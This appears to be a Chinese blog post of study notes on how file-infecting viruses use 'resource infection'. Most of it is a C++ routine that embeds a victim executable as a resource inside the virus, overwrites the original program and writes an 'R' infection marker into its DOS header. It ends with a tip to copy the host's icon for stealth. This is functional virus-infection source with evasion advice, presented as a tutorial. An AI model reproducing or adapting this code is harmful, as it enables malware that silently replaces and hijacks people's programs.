标签:
本文学习自:关于感染型病毒的那些事(三) by gaa_ra 代码也来自gaa_ra
资源感染,就是将宿主程序作为病毒程序的一个资源来保存,将附加了宿主程序的病毒程序覆盖原来的宿主程序,当打开病毒文件时,病毒发作并将宿主程序释放出来运行。
进行资源感染后,打开感染文件的过程大致如下:
CreateFile创建资源文件,用于存放要被释放出来的宿主文件 --> FindResource查找该资源 --> LoadResource --> SizeofResource --> WriteFile将资源(宿主程序)写入刚刚创建的文件 --> CreateProcess运行宿主程序 --> WaitForSingleObject等待宿主程序结束 --> CloseHandle关闭进程句柄和线程句柄 --> DeleteFile删除刚刚生成的资源文件。将宿主文件作为资源添加到程序可以用UpdateResource来文件,注意,病毒编译时需要有资源,如果病毒本身没有资源,使用UpdateResource会失败,参考代码如下:
void InfectFilesByResource(char *FileName) 02.{ 03. DWORD dwSizeOfFile; 04. DWORD dwBytesUsed; 05. char szTempVirusFile[MAX_PATH]; 06. HANDLE hFile; 07. HRSRC hResource; 08. LPBYTE lpBuffer; 09. hFile = CreateFile(FileName, 10. GENERIC_READ | GENERIC_WRITE, 11. 0, 12. NULL, 13. OPEN_EXISTING, 14. FILE_ATTRIBUTE_ARCHIVE, 15. NULL); 16. if (INVALID_HANDLE_VALUE != hFile) 17. { 18. dwSizeOfFile = GetFileSize(hFile, NULL); 19. //这里对文件大小进行判断,如果病毒体长度+宿主程序长度大于1M的话就进行注入感染 20. if (dwSizeOfFile + dwSizeOfVirus > 0x100000) 21. { 22. CloseHandle(hFile); 23. InfectFilesByInject(FileName); // 这个注入可以参考空隙感染方式 24. return; 25. } 26. lpBuffer = new BYTE[dwSizeOfFile]; 27. //将整个宿主程序读入Buffer当中 28. if (ReadFile(hFile, lpBuffer, dwSizeOfFile, &dwBytesUsed, NULL) != FALSE) 29. { 30. //这里生成一个临时文件,加入宿主程序作为资源 31. GetTempFileName("C://Windows//System32//", "~", 0, szTempVirusFile); 32. //szDstFile是病毒程序路径 33. CopyFile(szDstFile, szTempVirusFile, FALSE); 34. 35. //下面更新病毒程序资源 36. hResource = (HRSRC)BeginUpdateResource(szTempVirusFile, FALSE); 37. if (NULL != hResource) 38. { 39. if (UpdateResource(hResource, 40. RT_RCDATA, 41. MAKEINTRESOURCE(520), 42. MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), 43. (LPVOID)lpBuffer, 44. dwBytesUsed) != FALSE) 45. { 46. EndUpdateResource(hResource, FALSE); 47. } 48. } 49. } 50. delete[] lpBuffer; 51. lpBuffer = NULL; 52. CloseHandle(hFile); 53. 54. //将加入了宿主程序资源的病毒程序覆盖原来宿主程序 55. CopyFile(szTempVirusFile,FileName,FALSE); 56. Sleep(100); 57. //删除临时文件 58. DeleteFile(szTempVirusFile); 59. hFile = CreateFile(FileName, 60. GENERIC_WRITE, 61. 0, 62. NULL, 63. OPEN_EXISTING, 64. FILE_ATTRIBUTE_ARCHIVE, 65. NULL); 66. if (INVALID_HANDLE_VALUE != hFile) 67. { 68. SetFilePointer(hFile, 0x4e, NULL, FILE_BEGIN); 69. //写入资源感染标志‘R‘,位于DOS头 70. WriteFile(hFile,(LPCVOID)("R"), 1, &dwBytesUsed, NULL); 71. CloseHandle(hFile); 72. } 73. } 74.}
用资源感染方式,可以修改图标为宿主程序图标,以起到较好的隐蔽性。
标签:
原文地址:http://www.cnblogs.com/Acg-Check/p/4269446.html